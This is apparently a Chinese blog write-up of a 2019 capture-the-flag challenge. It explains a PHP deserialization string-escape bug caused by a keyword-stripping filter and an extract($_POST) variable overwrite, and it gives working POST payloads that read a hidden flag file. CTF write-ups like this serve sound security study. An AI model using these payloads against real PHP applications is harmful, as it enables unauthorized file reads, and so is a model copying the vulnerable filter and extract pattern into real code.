首页 > 编程语言 >【安洵杯 2019】easy_serialize_php

【安洵杯 2019】easy_serialize_php

时间:2023-10-28 16:55:48浏览次数:39  
标签:php img serialize 安洵 SESSION 2019 user 字符串 序列化

【安洵杯 2019】easy_serialize_php

收获

  • php反序列化逃逸
  • 数组变量覆盖
  • POST请求体传递数组

分析

  • 代码:

    <?php
    
    $function = @$_GET['f'];
    
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    
    if($_SESSION){
        unset($_SESSION);
    }
    
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    
    extract($_POST);
    
    if(!$function){
        echo '<a href="index.php?f=highlight_file">source_code</a>';
    }
    
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    
    $serialize_info = filter(serialize($_SESSION));
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    } 
    

    分析代码,首先filter函数实现了一个替换字符串中敏感字符为空的操作。

    然后对$__SESSION进行了设置,但是下面出现了一个extract($_POST);。在Php中extract函数实现一个提取数组中键值并覆盖原数组的功能。也就是说,虽然上面设置了user键的内容,但是如果POST变量中不存在user键,那么更新后的$__SESSION中则不包含user键。

    下面又进行了img键值的设置,并将序列化后的字符串传入filter中进行过滤。

  • 思路

    首先肯定是需要查看phpinfo()中的文件;然后应该是通过更改$__SESSION数组实现反序列化读文件。

利用

  • 访问Phpinfo:

    得到了一个提示,包含了d0g3_f1ag.php文件。说明我们需要访问这个php文件。

  • 读文件:

    当我们GET请求中设置img_path变量时,势必会触发sha1函数,这样我们无法读取正常的路径;但是不设置img_path更无法得到文件内容。于是思考这个反序列化。因为反序列化后的字符串会经过filter函数处理,那能不能通过故意引入敏感字符串,使得序列化后的字符串改变,从而在反序列时得到我们想要的输出呢?

  • 反序列化逃逸:

    在看了大佬博客发现:反序列化逃逸题一般都是存在一个filter函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为filter后字符串加长以及字符串变短两种情况。在本题中因为将敏感字符串替换为空,所以是字符串变短的情况。

    例如,这段代码:

    <?php
    
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    $ab=array('user'=>'flagflagflag','1'=>'1');
    echo filter(serialize($ab));
    
    ?>
    
    

    本来反序列化的结果为:a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}

    但是因为敏感字符串替换变成了:a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}

    这样在反序列化时,就导致了原先的键值flagflagflag被现在的12个字符";i:1;s:1:"1替换了。导致误以为键user的值为";i:1;s:1:"1

    但是同时这里确定了有两个类,所以要想反序列化成功,则需要让原来键1对应值再包含一个类,这样就能够填补前面被覆盖的1键值的空缺;i:1;s:1:"1"应该是i:1;s:13:"1";i:2;s:1:"2",即过滤后字符串为:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}

  • payload

    首先f的值需要为show_image;其次我们需要覆盖img键对应的值为d0g3_f1ag.php的编码值:ZDBnM19mMWFnLnBocA==。也就是说我们构造的字符串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==",并且让该字符串前面的序列化内容正好被敏感字符过滤的坑位吃掉。同时,为了覆盖最后系统赋值的img,我们在字符串后面还要加一个类。

    _SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}
    

    其过滤后的序列化结果为:

    image-20231028161633279

    原本的红线部分作为了现在func键的值。

  • 抓包:

    image-20231028163147750

    注意_SESSION数组修改方式不包含$符号与引号。

  • 继续:

    说明要继续读取:/d0g3_fllllllag=>L2QwZzNfZmxsbGxsbGFn

    payload:

    _SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}
    

参考链接

PHP反序列化字符逃逸详解

标签:php,img,serialize,安洵,SESSION,2019,user,字符串,序列化
From: https://www.cnblogs.com/capz/p/17794273.html

相关文章

  • MicroSIP-3.21.3+pjproject-2.13.1+ opus-1.3.1+VS2019
    本文记录了我通过VS2019编译MicroSIP-3.21.3开源项目的过程。Microsip:MicroSIPsourcecodepjproject:DownloadPJSIP-OpenSourceSIP,Media,andNATTraversallibraryopus:Downloads–OpusCodec(opus-codec.org)下载并解压后如图: 用vs2019将microsip的平......
  • P5289 [十二省联考 2019] 皮配
    很容易想到设\(dp_{i,j,k}\)表示考虑前\(i\)个阵营,\(C_0=j\),\(D_0=k\)时的方案数,层内转移时可以用辅助数组对两种阵营决策分别转移,此时时间复杂度为\(O(nM^2)\)。考虑\(k=0\)的情况,如果我们能做这个的话,\(k=30\)其实就是在暗示我们把特殊选手拆出来单独做。而如果所有选......
  • solid edge2019安装包 32/64位 官方版 中文特别版
    SolidEdgeST20官方版是一款专业强大的三维模型设计软件。SolidEdgeST20中文版以Parasolid为核心,采用实体造型引擎打造,能够帮助用户完成复杂的模型设计。SolidEdgeST20软件可以为设计、仿真和协作提供强大的增强功能,为用户提供完美的设计方案。软件地址:看置顶贴SolidEdge2022......
  • Windows Server 2019 安装IIS服务
    安装步骤1、点击左下角打开开始菜单找到服务器管理器菜单打开服务器管理器  2、在弹出的服务器管理器界面找到添加角色和功能  3、在弹出的添角色和功能向导中选择下一步  4、选择:基于角色或基于功能的安装,然后下一步  5、选择:从服务器池......
  • [转]VS2019生成项目文件.lib或.dll或exe后如何拷贝到指定的目录文件夹
    VS2019编译CloudCompare,发现生成的项目文件都是分开的,每个项目下都有自己的文件夹Debug/Release,生成Dll都放在这些单独的项目文件夹内。目标(1)通常,我们要求所有的dll和.exe都在同一个文件夹,这样调试的时候就不用再去拷贝或设置环境变量,直接设置任意.exe项目为启动项目就能调试了......
  • VS2019配置CGAL
    一.软件和工具(1)VisualStudio2019版本(2)Boost1.82.0:https://www.boost.org(3)CGAL5.5.2:https://github.com/CGAL/cgal/releases 同时下载配置CGAL所需要的依赖库GMP和MPFR 二.安装全部解压后的文件目录应该是这样的: 将auxiliary目录下的文件夹gmp复制到CGAL-5......
  • 升级Lync Server 2013到Skype for Business 2019(二十)
    写在前面在上一章我们完成了持久聊天服务器下线,本章我们将介绍如何下线LyncServer2013前端服务器。前端服务器功能移除打开拓扑生成器,下载最新的拓扑。导航到Lync2013前端服务器池,编辑属性。取消勾选如下功能,之后点击OK。ConferencingEnterpriseVoiceArchivingMonitoring发布拓......
  • 在使用Windows Server 2019 (1809)的EC2上安装WSL运行Ubuntu Linux
    一、背景在Windows10上可以使用WSL和新的Terminal直接运行Linux,同时,还可以通过WindowsStore在线商店安装需要的Linux发行版。但在WindowsServer上,没有在线商店可用。因此,安装方法可以参考如下。首先检查确认版本高于WindowsServer2019(version1709)版本。例如EC2上选择......
  • 【ZJCTF 2019】NiZhuanSiWei
    [ZJCTF2019]NiZhuanSiWei收获file_get_contents绕过include联想伪协议熟悉__tostring魔术方法的使用题目代码:<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents(......
  • ABB AC900F学习笔记327:WINCC7.5SP2作为OPC SERVER,freelance2019SP2作为OPCC LIENT练习
    这一篇博客我在新浪博客记录过,地址是 ABBAC900F学习笔记327:WINCC7.5SP2作为OPCSERVER,freelance2019SP2作为OPCCLIENT练习_来自金沙江的小鱼_新浪博客(sina.com.cn)为了避免丢失,我在这里再次记录一遍今天做一个练习,WINCC7.5SP2作为OPCSERVER,freelance2019SP2作为OPCCLIENT。......